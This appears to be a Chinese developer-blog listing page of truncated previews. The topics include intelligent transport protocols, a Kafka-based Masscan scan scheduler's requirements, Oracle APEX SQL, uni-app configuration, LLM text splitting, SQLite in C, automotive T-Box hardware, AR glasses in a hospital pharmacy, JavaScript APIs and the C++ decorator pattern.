大家读完觉得有帮助记得关注和点赞&#xff01;&#xff01;&#xff01; 抽象 现代智能交通系统 &#xff08;ITS&#xff09; 的一个关键要求是能够以安全、可靠和匿名的方式从互联车辆和移动设备收集地理参考数据。Nexagon 协议建立在 IETF 定位器/ID 分离协议 &#xff08;…...

【kafka】Golang实现分布式Masscan任务调度系统

要求&#xff1a; 输出两个程序&#xff0c;一个命令行程序&#xff08;命令行参数用flag&#xff09;和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽&#xff0c;然后将消息推送到kafka里面。 服务端程序&#xff1a; 从kafka消费者接收…...

【Oracle APEX开发小技巧12】

有如下需求&#xff1a; 有一个问题反馈页面&#xff0c;要实现在apex页面展示能直观看到反馈时间超过7天未处理的数据&#xff0c;方便管理员及时处理反馈。 我的方法&#xff1a;直接将逻辑写在SQL中&#xff0c;这样可以直接在页面展示 完整代码&#xff1a; SELECTSF.FE…...

uni-app学习笔记二十二---使用vite.config.js全局导入常用依赖

在前面的练习中&#xff0c;每个页面需要使用ref&#xff0c;onShow等生命周期钩子函数时都需要像下面这样导入 import {onMounted, ref} from "vue" 如果不想每个页面都导入&#xff0c;需要使用node.js命令npm安装unplugin-auto-import npm install unplugin-au…...

大语言模型如何处理长文本?常用文本分割技术详解

为什么需要文本分割? 引言:为什么需要文本分割?一、基础文本分割方法1. 按段落分割(Paragraph Splitting)2. 按句子分割(Sentence Splitting)二、高级文本分割策略3. 重叠分割(Sliding Window)4. 递归分割(Recursive Splitting)三、生产级工具推荐5. 使用LangChain的…...

【C语言练习】080. 使用C语言实现简单的数据库操作

080. 使用C语言实现简单的数据库操作 080. 使用C语言实现简单的数据库操作使用原生APIODBC接口第三方库ORM框架文件模拟1. 安装SQLite2. 示例代码:使用SQLite创建数据库、表和插入数据3. 编译和运行4. 示例运行输出:5. 注意事项6. 总结080. 使用C语言实现简单的数据库操作 在…...

NXP S32K146 T-Box 携手 SD NAND(贴片式TF卡):驱动汽车智能革新的黄金组合

在汽车智能化的汹涌浪潮中&#xff0c;车辆不再仅仅是传统的交通工具&#xff0c;而是逐步演变为高度智能的移动终端。这一转变的核心支撑&#xff0c;来自于车内关键技术的深度融合与协同创新。车载远程信息处理盒&#xff08;T-Box&#xff09;方案&#xff1a;NXP S32K146 与…...

安宝特案例丨Vuzix AR智能眼镜集成专业软件,助力卢森堡医院药房转型,赢得辉瑞创新奖

在Vuzix M400 AR智能眼镜的助力下&#xff0c;卢森堡罗伯特舒曼医院&#xff08;the Robert Schuman Hospitals, HRS&#xff09;凭借在无菌制剂生产流程中引入增强现实技术&#xff08;AR&#xff09;创新项目&#xff0c;荣获了2024年6月7日由卢森堡医院药剂师协会&#xff0…...

JavaScript基础-API 和 Web API

在学习JavaScript的过程中&#xff0c;理解API&#xff08;应用程序接口&#xff09;和Web API的概念及其应用是非常重要的。这些工具极大地扩展了JavaScript的功能&#xff0c;使得开发者能够创建出功能丰富、交互性强的Web应用程序。本文将深入探讨JavaScript中的API与Web AP…...

C++ 设计模式 《小明的奶茶加料风波》

&#x1f468;‍&#x1f393; 模式名称&#xff1a;装饰器模式&#xff08;Decorator Pattern&#xff09; &#x1f466; 小明最近上线了校园奶茶配送功能&#xff0c;业务火爆&#xff0c;大家都在加料&#xff1a; 有的同学要加波霸 &#x1f7e4;&#xff0c;有的要加椰果…...